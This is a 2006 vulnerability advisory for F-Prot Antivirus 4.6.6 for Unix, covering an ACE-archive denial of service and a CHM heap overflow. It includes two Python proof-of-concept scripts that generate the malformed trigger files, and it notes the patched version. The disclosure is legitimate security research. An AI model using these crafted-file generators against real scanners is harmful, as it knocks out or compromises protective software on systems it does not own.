fprot-dos.txt

`Name: F-Prot Antivirus for Unix: heap overflow and Denial of Service  
Vendor: http://www.f-prot.com  
Release date: 4 Dec, 2006  
URL: http://gleg.net/fprot.txt  
Author: Evgeny Legerov <[email protected]>  
  
I. DESCRIPTION  
  
Two vulnerabilities in F-Prot Antivirus 4.6.6 for Unix platforms could allow a  
remote attacker  
to cause a DoS or execute an arbitrary code.  
  
II. DETAILS  
  
1. ACE file Denial of Service  
When parsing a specially crafted ACE compressed file F-Prot Antivirus will enter  
in an infinite loop.  
See fprot1.py for more details.  
  
2. CHM file heap overflow  
When parsing a specially crafted CHM file a heap overflow will occur in F-Prot  
Antivirus.  
See fprot2.py for more details.  
  
III. VENDOR RESPONSE  
  
Update to F-Prot 4.6.7:  
http://www.f-prot.com/news/gen_news/061201_release_unix467.html  
  
IV. EXPLOITS  
  
# fprot1.py - trivial proof of concept code for F-Prot 4.6.6 .ACE DoS  
#  
# Copyright (c) 2006 Evgeny Legerov  
#  
# Permission to use, copy, modify, and distribute this software for any  
# purpose with or without fee is hereby granted, provided that the above  
# copyright notice and this permission notice appear in all copies.  
#  
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES  
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF  
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR  
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES  
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN  
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF  
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.  
#  
# To test this code on Linux:  
#  
# create ACE compressed file  
# $ ./fprot1.py > 1.ace  
# $ f-prot 1.ace  
  
import sys  
import struct  
  
ACE="""  
58 c5 31 00 00 00 90 2a 2a 41 43 45 2a 2a 14 14  
02 00 31 12 82 33 b6 45 97 7d 00 00 00 00 16 2a  
55 4e 52 45 47 49 53 54 45 52 45 44 20 56 45 52  
53 49 4f 4e 2a 6c 28 2c 00 01 01 00 d0 ff ff ff  
00 00 00 00 41 42 43 44 41 42 43 44 00 00 00 00  
02 05 41 41 41 41 0d 00 41 41 41 41 41 41 41 41  
41 41 41 41 41  
"""  
  
s = ""  
for i in [chr(int(i, 16)) for i in ACE.split(" ") if len(i.strip()) > 0]:  
s += i  
  
sys.stdout.write(s)  
  
# fprot2.py - trivial proof of concept code for F-Prot 4.6.6 .CHM heap  
# overflow  
#  
# Copyright (c) 2006 Evgeny Legerov  
#  
# Permission to use, copy, modify, and distribute this software for any  
# purpose with or without fee is hereby granted, provided that the above  
# copyright notice and this permission notice appear in all copies.  
#  
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES  
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF  
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR  
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES  
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN  
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF  
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.  
#  
# $ ./fprot2.py > 1.chm  
# $ f-prot 1.chm  
  
import sys  
import struct  
  
s=""  
s+="ITSF" # signature  
s+=struct.pack("<L",3) # version  
s+=struct.pack("<L",96) # header_len  
s+=struct.pack("<L",1) # unknown  
s+=struct.pack("<L",0x41424344) # last_modified  
s+=struct.pack("<L",0x419) # lang_id  
s+="A"*16 #dir_clsid  
s+="B"*16 #stream_clsid  
s+=struct.pack("<L",96) + "\x00" * 4 #sec0_offset  
s+=struct.pack("<L",24) + "\x00" * 4 #sec0_len  
s+=struct.pack("<L",120) + "\x00" *4 #dir_offset  
s+=struct.pack("<L",4180) + "\x00" * 4 #dir_len  
s+=struct.pack("<L",4300) + "\x00"*4 #data_offset  
s+="A"*24  
s+="ITSP"  
s+=struct.pack("<L", 1) # version  
s+=struct.pack("<L",0x54) # header_len  
s+=struct.pack("<L", 0xa) # unknown  
s+=struct.pack("<L",1000) # block_len - BUG?  
s+=struct.pack("<L",2) # blockidx  
s+=struct.pack("<L", 1) # index_depth  
s+=struct.pack("<L", -1) # index_root  
s+=struct.pack("<L",0) # index_head  
s+=struct.pack("<L",0) # index_tail  
s+=struct.pack("<L", -1) # unknown2  
s+=struct.pack("<L",1) # num_blocks  
s+=struct.pack("<L", 1033) # lang_id  
s+="A"*32  
s+="B"*10000  
  
sys.stdout.write(s)  
  
V. CREDIT  
  
Discovered by Evgeny Legerov.  
  
The vulnerabilities are part of VulnDisco Pack for CANVAS since Sep, 2006.  
  
  
  
  
`